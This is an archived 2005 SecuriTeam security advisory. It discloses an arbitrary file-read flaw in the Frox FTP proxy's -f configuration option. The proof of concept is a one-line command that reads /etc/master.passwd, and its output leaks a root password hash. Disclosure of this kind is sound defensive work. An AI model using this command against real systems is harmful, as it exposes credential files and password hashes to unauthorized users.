

[UNIX] Frox Arbitrary File Access

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0041.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/13/05

To: list@securiteam.com

Date: 13 Sep 2005 11:09:15 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Frox Arbitrary File Access

SUMMARY

" <<http://frox.sourceforge.net/>> Frox is a transparent FTP proxy for Linux, *BSD, and other UNIX like systems. It optionally supports non-transparent proxying, caching, rewriting of FTP requests as HTTP, transparent virus scanning, and conversion from activepassive mode FTP."

Lack of proper path validation allows attackers to access any file on the system using Frox.

DETAILS

Frox has been found to contain a security risk that allows any user to read files residing on the system running the product. This is due to the way Frox handles the loading of configuration files. The problem exists in the `-f` option (which specifies the configuration file).

Proof of Concept:

```
q(rotor@r0t0r.0daysecurity.com)
```

```
mq(/usr/local/sbin)-> frox -f /etc/master.passwd
```

```
Unrecognized option
```

```
"root:$2a$04$nr2msaB9.nAgR4qI6pqBNOQbH6LoqALZTmqsqhGEJLLwyTfsxXTd.:
```

```
0:0::0:0:Charlie"
```

Securiteam: [UNIX] Frox Arbitrary File Access

at line 3 of /etc/master.passwd
Error reading configuration file
lq(rotor@r0t0r.0daysecurity.com)
mq(/usr/local/sbin)->

ADDITIONAL INFORMATION

The information has been provided by <mailto:un4m31@gmail.com> un4m31.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.